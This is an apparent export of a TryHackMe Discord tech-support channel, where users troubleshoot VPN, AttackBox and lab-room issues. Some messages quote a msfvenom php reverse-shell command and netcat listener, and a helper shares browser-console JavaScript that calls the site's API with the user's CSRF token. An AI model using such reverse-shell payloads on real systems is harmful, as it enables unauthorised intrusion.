#site-support

1 messages · Page 10 of 1

sharp bisonBOT
woeful hedge
#

It will allow you to send pictures

dapper surge
#

Okay i’m on my way to do it thanks !

#

it's okay

woeful hedge
#

Your attackbox is better now?

dapper surge
#

my attackbox make this every 20 seconds too :/

Capture.PNG
#

so i reconnect but nothing change ...

Capture2.PNG
woeful hedge
#

Have you refreshed the overall page?

dapper surge
#

yes

#

many times

woeful hedge
#

And you said you disconnected from your VPN

dapper surge
#

yep

woeful hedge
#

Unfortunately, at this point, I think it may be your connection

dapper surge
#

oh... okay thanks, i think i'm gonna look at it

full pulsar
#

hey

#

so I connected to THM network using openvpn, but when I connect to the machine it asks for a password, I'm trying to do the "Linux Fundamentals part 1" room, looked everywhere but I don't see any password

woeful hedge
#

Doesn't Linux fundamentals open a window on your right?

#

Not the attackbox

full pulsar
#

it's too slow, and laggy ssh is faster

#

doesn't work for me

#

the side window takes forever to load

woeful hedge
#

Well do the directions say you can ssh to the box?

full pulsar
#

no they didn't ask me to ssh, but why can't I ssh to any machine if they ask me to do certain tasks in that machine? why am I forced to use that side panel when I can just ssh?

#

are all rooms like that too? am I always forced to use the side window?

woeful hedge
#

No. It's that not all boxes are configured to allow ssh

#

Linux fundamentals, iirc, is one of them. At least the first room

full pulsar
#

apparently my adblocker was blocking the side panel from showing

candid canyon
#

im always getting stuck when addressing a static address i never know what ip to use for my dns server or gateway is 127.0.0.1 an option ??

woeful hedge
candid canyon
#

ok i thought so but i figured ill ask either way bc i wasnt sure. but when using static ip i could use a dns ip like 8.8.8.8 ?

turbid folio
#

I am a subscriber, currently doing basic pentesting. I am running a kali vm and am connected via the vpn. When I click add an hour, it will say I added an hour and it shows an extra hour, but when 2 hours hits it shuts down the machine.

ashen magnet
#

yeah, that's the point

weary spindle
weary spindle
#

No.

brisk linden
#

how is it decided who appears in the chart at the top of rooms?

sand dragon
#

Heya guys, Ive done this room once and decided to repeat it. seems that the case sensitivity is not the same as per the instructions and sometimes does not work.

#

I should be more clear, it doesnt from from my kali vm machine locally but it works on the Vm in the browser

#

what am i doing wrong

#

on my kali vm

#

iam connected etc i double checked, please pardon any noob questions iam very very very new

sour spindle
#

Hey i have a question , does subscription increase the machine's resourse automatically or should i connect to vip vpn to get it?🙃

#
  • ping me if you reply
daring lark
#

No I will try this

sour spindle
#

okay 👍

sand dragon
#

it is, but on the VM on the pc it does not work, but the VM in the browser works. I dont know why

sand dragon
#

ok cool

narrow compass
#

Hello, I find that I often have to reset rooms which are windows themed. Meterpreter sessions freeze and then die, response to the machines seem to stop and I usually have to either spin up a new session for the room or close out my openvpn session and start a new one

#

Is this something I can trouble shoot on my end or is it a THM thing?

#

This is what I keep running into. And then when I try to interact with the IP address, it doesn't respond and acts as if it is offline

#

Currently working in Steel Mountain room, and have had this issue with the other windows beginner rooms as well

#

But seems to be fine with anything that is linux based

white pike
#

Hi, I've been having issues with the Brainstorm room. It seems as there is something wrong with the box as it is very inconsistent. It should have ftp running but I can't always see it in nmap scans or access it all. Even after multiple resets.

narrow compass
white pike
narrow compass
#

Ah, I had a similar issue once, but when I nmaped that specific port it would work

#

Figured I'd throw that out there

white pike
#

Yeah, appreciated. I've been trying to do this room for 3 days now

narrow compass
#

Wish I could offer more help, I'm just learning as well part time

#

Literally every time I log in, no matter what I'm doing I'm having to solve some sort of problem with is part cool and part frustrating because I can rarely finish what I originally set out to do lol

crystal marlin
steady sluice
#

whenever i start a machine the ip works for a few minutes before going completely offline

#

and it comes back temporarily occasionally

#

openvpn on fedora linux (not vm)

sharp bisonBOT
steady sluice
#

its telling me i dont have openvpn installed 💀

#

i think its checking for debian based distros only

# 
                colour red "[-] System doesn't use apt -- please install OpenVPN manually" 1```
#

ye i was right

#

i removed the apt parts of the script out (might make a pull req to support all distro later)

#

its not giving any errors the scripts runs fine

# 
[+] Stable internet connection
[+] tun0 exists
[+] tun0 IP is in the correct range
[+] Only one instance of OpenVPN is running
[+] Confirming connectivity
[+] MTU value OK
[+] Connectivity checks completed!
[+] You are connected to the TryHackMe Network```
#

ill have a check

naive dust
#

Hi, I am having issues running nmap scans with attackbox. I am working through network services room I'm up to enumerating telnet.
When I run a scan including services and versions, scan gets stuck at around 22% and after that, the estimated finish time just continues to increase.

woeful hedge
naive dust
woeful hedge
#

What happens if you leave it at 22% for a minute and then refresh the page?

naive dust
#

Eta increases

#

scanning on a single specified port, it gets stuck at 0%

crystal marlin
naive dust
scenic torrentBOT
#

Gave +1 Rep to @crystal marlin

mossy mango
#

I dont have enough cpu,i've seen ppl use cpu from other devices to crack passwords Could i use my old phone's cpu alongside my laptop's cpu both of 2 cpu each to run kali on visual studio?

woeful hedge
solemn relic
#

I'm having a problem with a room I've created, my wordpress is trying to connect to the vagrant box's IP I created it with rather than the THM IP. Anyone able to help?

narrow compass
crystal marlin
hard pilot
#

Hello
Is it possible to capture any visible wifi beacons in wireshark?
I mean without connecting to it ??

naive dust
narrow compass
fluid wedge
#

My old DISCORD Account which is verified through my THM token is permanently deleted and when now i trying to verify the THM profile token with THM bot its saying that it can't verified as it is already used by someone.

woeful hedge
#

No guarantee though.

fluid wedge
#

ok thanks

quartz cipher
#

<

proper loom
#

Is IN-Regular-1 is indian server??

quartz cipher
#

<

fluid wedge
zealous yoke
#

looks like the vm just needs more time to boot up before the connection is attempted

#

I've increased the timer ((: should resolve it

mossy mango
#

I don't have enough CPU

#

i need to use another device for nothing but it's cpu power

ornate comet
#

Hi, is there a way to restore a lost streak? I sent a message up to support@tryhackme[.]com and hadn't heard anything back

weary spindle
#

When did you send it?

solemn relic
#

Anyone ever setup wordpress for tryhackme?

ornate comet
#

Originally Wednesday, then one on friday as followup

weary spindle
#

You've probably just pushed it back further down the list of E-mails.

#

Send a follow up after 7 day(s).

Support is done by one person and they can go through the E-mails oldest to newest.

ornate comet
#

ok, didn't realize it was just one person

weary spindle
ornate comet
#

awesome, will do, and have been. Thank you

hard pilot
naive dust
#

You can also run netsh wlan show all

hard pilot
#

What I want to know is - is it possible to capture packets off ssid broadcast without knowing the pre-shared key(authenticating it) in whireshark?

naive dust
#

Not quite sure. I think you need to add it in

#

Cause I know you can decrypt the key

crystal marlin
#

Use #infosec-general for further talk on that topic please, as this channel is for THM related tech support, thx 🙂

naive dust
#

You got it 🙂 TryFlagMe

hard pilot
#

👍

opaque prawn
#

Hi did you guys get rid of your openvpn service? The link to download the config file returns a 404 error

#

i'm a premium member

#

and the attackbox can be slow at times, i'd rather use my VM

weary spindle
opaque prawn
#

ohh I found the page, I was hitting the "Download" hyperlink that returns a 404

#

can't post ss but thanks for your help

woeful hedge
#

These steps should resolve this issue

#

Screenshots can be posted once you verify

#

!docs verify

sharp bisonBOT
eager fulcrum
#

This channel is for directly tryhackme related tech support like site and VPN issues

late abyss
eager fulcrum
late abyss
#

thx

sour lichen
#

Hi there, I have a problem with reaching the webserver in the "Simple CTF" room, I guess it's not room related but more a technical / VPN issue. So I'm connected to the thm network from my kali machine via openvpn. I can ping and nmap-scan the deployed machine in that room. The scan shows me the open port 80 with the apache webserver. But I cannot access it via a browser (in my kali machine) - neither firefox nor chrome (although I can access any other site, no proxy running), it's just infinitely loading...

Opening the site in the AttackBox inside the browser works fine though, shows me the expected Apache Default Site in less than a second.

Does anybody have an idea why I can reach and scan the target but cannot load the page in any browser but the in-browser attackbox? Or maybe a hint how to troubleshoot that? (What I tried so far: switching to another VPN Server, restarting the browser, restarting the vpn connection, restarting the deployed target, even restarting my kali machine)

[edit: nikto and dirb scans show no result from my kali machine, but from the attack box... what can prevent this access for some tools (browser, nikto, dirb) but not for others (nmap)?]

opaque prawn
#

I'm working on Metasploit: Exploitation, the msfvenom lab and the VM keeps crashing on startup. /home/murphy: no such file or directory

#

can't ssh into it because of the same error

crystal marlin
#

You will have to verify first in order to be able to

#

!docs verify

sharp bisonBOT
opaque prawn
sharp bisonBOT
crystal marlin
#

If not, then that's the reason for that error.
But regardless you should be able to do the task

opaque prawn
#

only home directory is for user "ubuntu", and I dont have permission to mkdir

#

I can't ssh or use the machine as "murphy" because there is no home directory

crystal marlin
#

So?

opaque prawn
#

Sorry I was able to sudo su and just create the directory, I should be okay? I'm gonna try to ssh again now

#

1 sec sorry

#

all good now ty

sour lichen
#

Thanks. It changed the MTU value. Unfortunately still no access to the webserver via browser...

unknown.png
scenic torrentBOT
#

Gave +1 Rep to @gray loom

crystal marlin
sour lichen
#

HA!! Thank you a lot, this worked! blobheart Now it's on me to research what mtu actually is/does, so I understand what happened here 🤓

scenic torrentBOT
#

Gave +1 Rep to @gray loom

queen pulsar
#

Hey friends, do you have any idea if and how I can make any configuration to openvpn file and transition from udp local port to tcp. Can anyone help me with that

plush bay
tacit berry
#

I lost my streak of 465 days. I am sure I did the task yesterday, you can check in the logs. Can you please restore my 465 streak? I am severely upset by this....

#

Username: SkullFace

#

This is the second time already some error on tryhackme's side. I once had 130+ streak and also lost even though I did the task. But 465 hurts a lot....

weary spindle
#

!email

sharp bisonBOT
tacit berry
#

Yes but I would have to wait 3 days for a reply. So I prefer to write on discord, no admin here? :x

#

@deep trellis can you help?

crystal marlin
tacit berry
#

See the room name and then say anything to me

crystal marlin
tacit berry
#

"and other technical questions related to TryHackMe". Well yes, streak on tryhackme is not related to tryhackme, so I should explain on hackthebox according to you. Okay, I understood

crystal marlin
tacit berry
#

Where did I write that it is unclear? I simply wrote in room tech support that I have a problem, after which you write me that I shouldn't. Then what is the room for? To refer someone to write emails? I've lost 465 days through no fault of my own, so I'm upset and want to resolve this as soon as possible.

#

You can't help me here, that's why I did an admin ping. WHAT IS UNCLEAR HERE?

crystal marlin
#

-mute 915500874300813403 3h You have been told how to go about a streak reset. You are not accepting that because of your impatience, feel free to come back for any other questions once you cooled down 🙂

scenic torrentBOT
#

🔇 Muted TOKYOH4CKER#1862 for 3 hours

crystal marlin
#

-ban 915500874300813403 Starts insulting via DM after getting muted. You can appeal at bans@tryhackme.com

scenic torrentBOT
#

🔨 Banned TOKYOH4CKER#1862 indefinitely

mint nebula
#

Hello, my ovpn don't work

#

and I can't download a new one

#

it redirects me on a 404 error page

weary spindle
#

Change server.

#

Then regen.

mint nebula
#

Tried and apparently I am not connected

weary spindle
#

Show a screenshot.

#

Did you regen then download a new one?

mint nebula
weary spindle
#

That page can be bugged.

#

Is that the newly downloaded one, and have you tried connecting to it?

mint nebula
#

Ah thanks, I downloaded the new one and now it works

graceful zenith
#

hi guys

#

My security is compromise. I have been hacked. I need help to protect my credentials. Can someone here help me in this topic pls?

#

(Sorry if this is not the right channel to ask for something like this)

elder dew
#

When I try to upgrade Kali on my VirtualBox, my anti-virus stops the process due to: HEUR:Trojan.Script.Agent.gen and Trojan-PSW.Win32.Mimikatz.gen

#

What should I do?

weary spindle
#

This isn't a THM related question, please ask in General or Info sec.

woeful hedge
graceful zenith
scenic torrentBOT
#

Gave +1 Rep to @woeful hedge

naive dust
#

Hello, I wanted to try the command "C:\WINDOWS\system32>winget upgrade" in cmd (running as administrator) but I keep getting this message :
"Désolé...Nous n’avons pas pu tenter la mise à jour de la source : winget
Échec lors de la recherche de la source ; les résultats ne seront pas inclus : winget
Aucun package installé ne correspond aux critères saisis."
Which translates to : "Sorry...We were unable to attempt to update the source: winget
Source search failed; results will not be included: winget
No installed package matches the criteria entered."
What can I do ?

woeful hedge
naive dust
#

Oh sorry, my bad.

#

hi guys

#

i want to change my username

#

how can do this

jovial mango
jovial mango
sharp bisonBOT
naive dust
#

i contact him

#

but i did'nt have response

jovial mango
broken bear
#

It can take several days for support to respond, please be patient

timid rose
#

so.. im i good to go now?

unknown_2022.11.07-20.27.png
#

i want to do the Attacktive Directory room

#

but having some troubles with pip..

#

as always

supple locust
#

Ehy guys!!!! anyone is using Linode VPS? I have some troubles with my server, i'm using it with VNCviewer doing the ssh access:
ssh -L 5901:localhost:5901 -N -l user linodevpsIP
everything works fine, nmap ecc.... just when i want to receive back a connection from a reverse shell uploaded on my target it doesn't....
tun0 is my tryhackme ovpn ip so everythink works right....
but my listener (nc -lvnp 1234) doesn't receive the shell back...
i'm really stucked with this....i know there is probably smth on route or port forwarding...but linode wont help me, i write to tryhackme support but the reply too that they will not help me.....so i'm really depressed with this...
any suggestion? anyone could help me? thanks...

eager fulcrum
supple locust
#

ehy thanks for your reply, i agree with you, on my local pc with kali vm tryhackme vpn works fine, but in linode no, if i set the same attack on my local vm with nc -lnvp 1234 listener the attack works, the same in linode no, linode use an IP and port 5901, i access that with realVNC viever via ssh doing randomport:localhost:5901

eager fulcrum
#

linode use an IP and port 5901, i access that with realVNC viever via ssh doing randomport:localhost:5901 This does not matter. The VPN takes care of it. Or are you asking for help getting shells outside of tryhackme?

supple locust
#

the shell was uploadedon tryhackme linux LLE room

#

i think the attack from the target can't go back through the ssh tunnel and the vps to the tryhackmevpn

eager fulcrum
#

Are you running the VPN on your VPS?

supple locust
#

yes

eager fulcrum
#

Ok, and are you connected anywhere else with the tryhackme VPN?

eager fulcrum
supple locust
#

i always do openvpn myuser.openvpn both from my local vm with kali and also from linode...so same config, not at the same time..itried first form local then from linode vps

eager fulcrum
#

Connect from just that one.

supple locust
#

yes yes

#

i did the reverse shell first on my local to see if i was doing correctly

#

then i cloesd it and i try from linode

eager fulcrum
eager fulcrum
supple locust
#

my local vpn

#

and i tried from linode the same attack

eager fulcrum
#

Remove any "attacks" as a variable.

supple locust
#

ok i'll try tomorrow with another room, i will save all data, if i can disturb you i'll write here again...thank you so much

red fox
#

requesting an idiot check.

#

the box is dead now, Advent of Cyber 3 (2021), day 7
I try to ssh in, but it just hangs. I terminated and relauched instance. Still no-go.

nossh.png
brazen oyster
naive dust
chilly pike
#

This is THM tech support, not a general tech support. I think it would be good to remember that 😁

#

If someone chooses to help, thats great. But no one is obligated to in any way

supple locust
#

@eager fulcrum Hi, i tried again: i started my tryhackme vpn, all fine and i see my machine connected on tryhackme,
https://tryhackme.com/room/introtoshells i tried to connect back from the linux practice machine,
i set up the listener
nc -lvnp 4444
tried uploading classic pentest-monkey php reverse shell, no connection back

other example i tried:
msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o evil.php
but nothing on my metasploit multi/handler

nothing starts..

i turned off my linode vps, opened my local VMware with kali, started tryhackme vpn
i tried the same reverse shells and they all work givin me back the connection on the listener
it's really frustrating...thank you for help

tiny cloud
#

Hi I'm not able to use burpsuite with browser in the attackbox, is there a fix for this?

image.png
obtuse falcon
#

Hello

#

I have a problem rooms completed not showing all my completed rooms

exotic stag
#

Hi Im not able to connect to the VPN anymore.
Dont know why exactly got the same with an other college vpn but trying to connect to the colleges "trouble" (tcp) vpn worked. and its just about the connection using tcp instead of udp

crystal marlin
exotic stag
#

yeah

crystal marlin
exotic stag
crystal marlin
exotic stag
#

yeah. didnt work

crystal marlin
exotic stag
crystal marlin
# exotic stag

I mean, if you saying everytime you try to connect to the vpn that's using udp it sounds like the port is being blocked.
Are you on a wifi or something, or generally on a network that's blocking that port ?

exotic stag
#

Im not on wifi but I dont think that my network would be blocking the port

#

cause the thing is, it worked for me like 2 days ago

crystal marlin
exotic stag
#

I thought it could have to do with my pc but thats not the troublemaker cause on my laptop its not working as well

exotic stag
crystal marlin
# exotic stag yeah

Mh, well something must have changed.
Considering 2 differnt vpns using UDP are not working but the vpn using TCP is working leads me to believe it's being the port blocked somehow.

exotic stag
#

let me try using my phone as a hotspot

#

damn it... it has to do with my network blocking the port

crystal marlin
#

Well, at least you now know where the issue is coming from I guess 😄

exotic stag
#

I Just Hope that Somebody in the House is using the Port or so and its Not the isp blocking the port

exotic stag
broken bear
#

if the port is blocked tcp vs udp won't make a difference

crystal marlin
eager fulcrum
exotic stag
crystal marlin
exotic stag
crystal marlin
weary spindle
#

If you ask a question, sure!

#

It's safe.

naive dust
#

Hi there, just to be sure, is it normal that since I've got the Red Teamer prize my Discord profile doesn't update neither show my level/rank with the !verify command ?

pastel tinsel
naive dust
scenic torrentBOT
#

Gave +1 Rep to @pastel tinsel

pastel tinsel
#

you're welcome 😄

fading pier
#

Hello. I am fairly new to THM and have started the Jr Penetration Tester path. Currently, I am experiencing connection issues with the machines. I've tried with, and without VPN and get the same results. Is this common when there are a lot of people in the same room?

woeful hedge
#

If you're experiencing issues, you may want to run the troubleshooting script to see if anything is wrong

#

!vpnscript

sharp bisonBOT
fading pier
#

Good stuff. I will give it a go

median venture
#

how can I unsubscribe from newsletter?...link in mail is not working unfortunately

glad oyster
#

I don't think you can...?

woeful hedge
median venture
#

many thanks

woeful hedge
#

They're UK time so it may be a while

bronze vale
#

Explaining you want to unsubscribe*

glad oyster
#

You good there jabba? Kek

fading pier
#

When I click on "download" for the OpenVPN GUI application, my threat protection blocks me from visiting the site. Not really sure why......

woeful hedge
#

Why are you using the GUI version? Kali already has openvpn installed, iirc, as do other distros

fading pier
#

I don't know man. Like I said, I'm really new to this.

woeful hedge
#

That's ok

#

!vpn

sharp bisonBOT
woeful hedge
#

If you go to this room, it will guide you and then run a check at the end

fading pier
#

Ok. I wasn

#

wasn't sure if I should use my own machine, or the machine on the page

#

I really overthink things sometimes

woeful hedge
#

You can use the attackbox or have your own vm if you want

#

Openvpn is if you're going with your own vm

fading pier
#

Yeah, I was using attackbox and getting the connection issues

woeful hedge
#

Are you a subscriber?

fading pier
#

Yes

woeful hedge
#

I would recommend you verify and then once/if the issues happen again, take and post screenshots here

#

!docs verify

sharp bisonBOT
fading pier
#

Cool beans. I just finished school in May and only have 5 months as an intern so far. Trying build skills so I can land a decent gig

#

Thanks for your help

woeful hedge
#

No problem

echo creek
#

My attack box keeps disconnecting randomly, anyone else?

nova burrow
#

I have a machine that i cannot terminate can anyone help?

echo creek
#

@nova burrow I usually just go to dashboard if it doesn't close

nova burrow
#

@echo creek that didnt work i have tried multiple browsers and leaving the room entirely and joining back it still thinks i have the machine running

stiff flume
#

I have completed the Yara room yesterday but logging in today the room shows not even started?

rapid obsidian
#

Question, how do I connect to a pc via rdp? I'm on kali linux, connected to the VPN and I have the username and password for the user.

woeful hedge
woeful hedge
nova burrow
#

It did we are good now

mystic reef
#

Can I ask here general Windows 7 Questions as well?

#

I have a strange problem with a windows 7 machine

#

the Login Screen is strangly "corrupted" if you wanna call it like this. The down 1/3 of the login/Logoff looks like artifacts of a broken video card but it changes every logoff

twilit onyx
#

So I just started this course (Intro to Offensive Security: Task 1 Hacking your first machine) and for some reason it is not accepting my answer for the new fake bank balance

#

Aww I see clearly now - oops bad start!

#

👍

solid mortar
#

hey, who/where do i need to speak to about getting my account link reset for discord, says to reach out to mods but don't want to start DMing a load if that's not the process

velvet viper
#

I'm in the uploadvulns room, and I've completed tasks 1-6 just fine but from task 7 on, I can't access the site needed to attempt the task. It changes to an https connection and gives the 'unable to connect' page. I have added the sites to the etc/hosts file with the machine IP. Edit: If I use burp suite to capture the connection first and forward it, firefox gives an error saying 'no route to host'

crystal marlin
sharp bisonBOT
velvet viper
#

It has started working now for some reason.

bronze vale
#

Refresh

snow skiff
#

oh thanks but not the exact streak i had

craggy stratus
#

hello guys i want to install parrot os dual boot with windows but after i enter to parrot and click on install parrot in desktop he told my in manual partition install that i want to delete one of my partitions so i entered to new volume partition so what i will do to install parrot in my unallocated space in new volume partition please help

crystal marlin
stiff flume
#

Why did I loose all progress in the Yara room I finished?

tawdry orbit
sharp mulch
#

Not sure if this is the right place, but the "Persistence Room" linked in the Task 6 of the Cyber Kill Chain lesson links to a private room.

north fiber
#

Anyone know of any ongoing issues with the Attacking Kerberos room and the AttackBox? I've followed the instructions, tried two different versions of kerbrute, but it's not finding any valid usernames for the room machine.

#

I'm getting what appears to be normal output from the tool, just no results (e.g., "Done! Tested 1733 usernames (0 valid) in 0.363 seconds")

#

tried terminating/relaunching room machine, no change

low yoke
#

Hi, Is Anyone facing issue while opening tryhackme machines on AttackBox or using VPN? I'm getting "Unable to connect" error in both attackbox and using openVPN for those machines IP. Can someone help me out on his?

#

Operating System Security

  • via Attackbox
sharp bisonBOT
low yoke
#

Sorry . I think I was doing some wrong thing but I have completed that room now. Thanks for your help btw!

scenic torrentBOT
#

Gave +1 Rep to @gray loom

fossil dust
#

Hi all. Has anyone had a delay in getting the Throwback VPN profile? I haven't got it, and even the Attackbox is notable to contact any host in the Throwback network. I paid for 30 days access a few hours ago and their email support said up to 3 days in response!

dawn obsidian
#

Hello everybody. Also having issues with AttackBox and AD problems using machines not responding. Greetings to all. Thanks in advance.

scenic torrentBOT
#

Gave +1 Rep to @dawn obsidian

dawn obsidian
#

Issues with Atacktive directory while nmaping machine I'm not getting response from server, while subscriprion is renewed today also problems with enum4linux command don't gaving me. Could not intialise spoolss. Error was NT_STATUS_ACCESS_DENIED. If i missed the room gave me instructions for advance.

rain crown
#

Hi, Friends. After Yara Room update I can not to perform "python3 yarGen.py --update" using AttackBox. Earlier i can did this. Please help me.

marsh ember
#

Hi - is it possible to change my username and if so how? Doesn’t look to be any immediate functionality on the dashboard

woeful hedge
#

!email

sharp bisonBOT
zealous yoke
north fiber
#

Hi, I posted about this last night but am still getting the same error in the Attacking Kerberos room. Using Attackbox, downloaded/renamed kerbrute 1.0.3 per instructions, room machine in /etc/hosts, used the userenum command and kerbrute runs but finds no usernames (when it is clearly supposed to find some for the next section of the room). Help?

FTR I was able to use kerbrute to complete the previous room (Attacktive Directory) w/ no problem.

#

Las t night I also tried 1.0.2, reloading the room machine, no change, still says tested 1733 usernames, 0 valid

gray token
#

Can I get a mod to help me with the bot? I verified my old (now deleted) THM account ages ago and I can't sync my new account stats with the bot since my old one is still tied to this Discord account.

broken bear
#

So you have an old THM account you deleted, that is still linked to your current discord account? All you want is to remove the current THM token from your discord account?

gray token
#

Yes!

broken bear
#

please DM me your THM token

naive dust
#

Hi. I just tried subscribing but it does not work. some issue with chargebee.js. Tried diffrent devices and networks. issue perssists. can someone help 🙂

broken bear
#

email support

#

!email

sharp bisonBOT
ancient steppe
#

Hi. I'm having some trouble with the Mustacchio room: ||I've logged in to the admin panel on port 8765, but when I input XML into the textarea, it's not being reflected on the page the way it is in the write ups I've checked. Instead just the labels - Name, Author, Comment - are coming up with no values.|| I've tried restarting the machine and I've tried it on both attackbox and openvpn. Has anybody seen this before?

tawdry cape
#

Hi Tech-Support, I think I found a bug in the site in the RedTeam Path

#

Red Team OPSEC -> Task 2 -> "View Site" // the flag doe snot appear despite all 5 questions have been answered correctly as it is described in the hint.

#

The flag simply does not appear

#

Just tried the third browser now Chrome, Chromium, Safari and all the same

#

OK got the flag but the answers make no sense and do not match the hint.

burnt kayak
#

I need help from a mod to get verified with my new account discord still has my old token so I cant verify my new one.

woeful hedge
burnt kayak
#

@woeful hedge ah figured they would tell me to post here but thanks for the info appreciate it

scenic torrentBOT
#

Gave +1 Rep to @woeful hedge

woeful hedge
stiff flume
rain crown
shell sparrow
#

I am stuck on loading page. It has been doing this for some time now. What is wrong ?

Screenshot_2022-11-11_at_4.32.54_PM.png
radiant sail
#

Same for me, stuck on loading page for any room I tried

#

The rest of the site works fine, except when trying to access any room in a learning path or the practice rooms

shell sparrow
#

Ok, So it's not just me.

#

That's Good.

#

Not good.

radiant sail
#

Yeah probably a server issue

shell sparrow
#

Little bit maybe

peak grail
#

I'm personally not having issues. Western US here

shell sparrow
#

🥲

radiant sail
#

Can you try loadin a new room @peak grail

peak grail
#

Loaded one 30 minutes ago, but I'll try now

radiant sail
#

Thanks, yea It was working 30 mins ago for me

shell sparrow
#

Ya

peak grail
#

Took a second longer on the loading circle than normal, but other than that no issues

radiant sail
#

Are you on Euro servers @shell sparrow

shell sparrow
#

IN

radiant sail
#

Ok so both euro and IN servers are having issues

shell sparrow
#

Guess so.

#

Let's take a break. 🤷🏻‍♂️

radiant sail
gilded herald
#

Still doesn't work for me in EU

shell sparrow
#

It will be down for some time i guess.

#

Anyone knows how to contact support?

weary spindle
#

!email

sharp bisonBOT
weary spindle
#

However, they're aware of this.

shell sparrow
#

Did they say anything about how long it will take to fix ?

weary spindle
#

Nope.

tame inlet
#

Back up working UK now, thank you THM team! 🙂

shell sparrow
#

IN back up as well. 😍

native cairn
#

Eastern US the machines are running slow. My Threat intel box took ages to launch a Firefox browser window.

stoic axle
#

Hello hello! Not actually asking for help, just hinting a slight correction. In Yara room, task 8, it asks me to navigate to yara directory in the attackbox, but it doesn't exist actually. I'm aware this room was recently updated, so maybe it was an oversight. I think the updated folder is yara-python? Just checking to make sure I'm not mistaken.

image.png
#

I just checked! I'm mistaken, I thought it meant the folder in the home directory. Definitely my bad, sorry!

coarse echo
#

Hi, do I need to do something special to the attackbox to be able to "shift+enter" when entering a command like nc?
Everytime that I hit "Shift+Enter" to go write on the nextline, it just submit my nc command as it is and I always get Bad requests.

dreamy basin
#

Hi everyone. Got an error saying this Room is private: https://tryhackme.com/room/persistence
It was referenced in the Cyber Kill Chain Task 6: https://tryhackme.com/room/cyberkillchainzmt

Not sure if this is an error, but just reporting it anyways.

TryHackMe
TryHackMe | Cyber Security Training

TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!

TryHackMe
TryHackMe | Cyber Security Training

TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!

dreamy basin
#

Thanks @gray loom . Just reported it there.

scenic torrentBOT
#

Gave +1 Rep to @gray loom

dusk dust
#

Hi i'm tryng to get into buffer overflow to practise on the machines again

#

however i cant find a place to download the ovpn file

#

basically the room is completed alrdy but i just wanted to revisit this room

weary spindle
dusk dust
#

thanks

wooden ruin
#

My vpn is seems to work fine...i am trying to start bofprep machine but it showing this machine is already actiive

#

dont have any other tab open in browser

weary spindle
wooden ruin
#

for this rom

#

yeah refreshed page couple of times

#

even closed browser and opened

weary spindle
#

click*

wooden ruin
#

unable to add snap here

#

the error msg

#

Uh-oh! You already have a machine running in this room. Terminate it before deploying another machine.

#

this is the error

weary spindle
#

Which browser are you using?

wooden ruin
#

mozila

weary spindle
#

Do you know how to get to the developer tools and then console?

wooden ruin
#

yeah

weary spindle
#

Stay on the BOF room.

Go the console and copy and paste this code into it.

fetch("/api/my-rooms")
  .then((r) => r.json())
  .then((data) => {
    Array(data).map(({ paginator }) => {
      console.log(paginator);
      let totalRooms = Array(paginator).map(({ totalDocs }) => {
        return totalDocs;
      });

      fetch(`/api/my-rooms?limit=${totalRooms}`)
        .then((k) => k.json())
        .then((finaldata) => {
          Array(finaldata).map(({ rooms }) => {
            rooms.forEach((room) => {
              if (room.freeToUse) return;
              console.log(room.roomTitle);
              fetch("/api/room/leave", {
                method: "POST",
                body: JSON.stringify({ code: room.roomCode }),
                headers: {
                  "csrf-token": csrfToken,
                  "Content-Type": "application/json",
                },
              });
            });
          });
        });
    });
  });
wooden ruin
#

what needs to be done here

#

done know whats the issue..it doesnt seems to take the code

dreamy plaza
#

via a manual api req

wooden ruin
#

ok

#

how to do that

#

all i can see was a stop button earlier

#

which is not active now

#

regenerating vpn dont revoke all existing boxes access??

dreamy plaza
#

but don’t boxes have a time limit?

wooden ruin
#

yeah

dreamy plaza
#

you could just wait it out

wooden ruin
#

i used this room 8-10 hrs back

#

then vpn and my machine everything was shut

#

now trying to access it back getting erro

#

😦

weary spindle
#

Are you a free user?

# 
fetch("/api/vm/running")
  .then((r) => r.json())
  .then((vms) =>
    vms.forEach((vm) => {
      if (vm.roomId === "kali") {
        return;
      }
      fetch("/api/vm/terminate", {
        method: "POST",
        body: JSON.stringify({ code: vm.roomId }),
        headers: {
          "csrf-token": csrfToken,
          "Content-Type": "application/json",
        },
      });
    })
  );

I gave you the wrong code.

#

Use that one.

wooden ruin
#

no paid user

#

one more thing...i had issue accessing this machine yesterday as well...xfreerdp was failing...i tried multiple times...even using rdesktop machine was quite slow

#

you may want to check if machine is functioning properly???

wooden ruin
#

same with other rooms...pheeww 😦

#

machine is starting but ip address dont appear in screen

foggy socket
#

Having some issues with kali Linux. I'm running on chromebook and can't get more than a few seconds of use before I need to refresh because the screen will shrink down randomly. Anyone run into this or know a fix?

#

I can refresh and get it back to full screen but the second I start doing things it reverts back

zealous yoke
#

You have the kali machine open in two tabs

#

The switching is because its constantly changing screen resolution

#

Close the “my machine” tab

#

And refresh the “THM browser based” tab

wooden ruin
#

what is solution for my problem..vpn is connected but machine ip i can t see on screen nor the stop button

#

tried rebooting machine...reset vpn...regenerated vpn and reconnected

slate pilot
#

Hi all.

#

The strangest thing happened, I had only around 8 gb of disk space remaining so I ran Bleachbit to try and free up space, though instead of gaining space for some reason I lost space and now there is only around 250 mb remaining.
Anyone know why this might have happened ??

weary spindle
wooden ruin
#

i dont know what to do..support team also dont seem to give any solution

#

tried reaching support team via mail but no luck with them as well

sharp bisonBOT
wooden ruin
#

need to verify here only or any other channel?

#

verfication is done

#

is it ok to attach screen shot here or you will open and private channel for this issue?

#

vpn is connected..but this room not showing ip address or terminate button...

#

yeah...close and opened browser also many times

#

reset the vpn pack and reconnected couple of times

#

ok

slate pilot
wooden ruin
#

yeah...didnt work it was throwing erro

slate pilot
#

Huh.....

wooden ruin
slate pilot
#

You need to start the machine first.

slate pilot
wooden ruin
#

but page dont show ip address

slate pilot
#

Are you using No Script or something ?

wooden ruin
#

if machine is started then only this error shows

slate pilot
#

Which error ??

wooden ruin
#

attached above

#

pls have a look

#

usually when vpn is connected this shows green and below ip address,reset button and extend button all appears...ip address is missing

wooden ruin
# 
0    
roomId    "bufferoverflowprep"
expires    "2022-11-12T15:27:09.136Z"
created    "2022-11-12T13:27:09.136Z"
internalIP    "10.10.37.251"
instanceId    "i-0a73e750212bf53fe"
title    "OSCP BOF Prep"
timeInSeconds    5389.206
remote    
active    false
waitTime    null```
#

output of above link

#

i can see ip here but how can i stop or extend it?

#

one sec let me run again and show u

# 
  .then((r) => r.json())
  .then((vms) =>
    vms.forEach((vm) => {
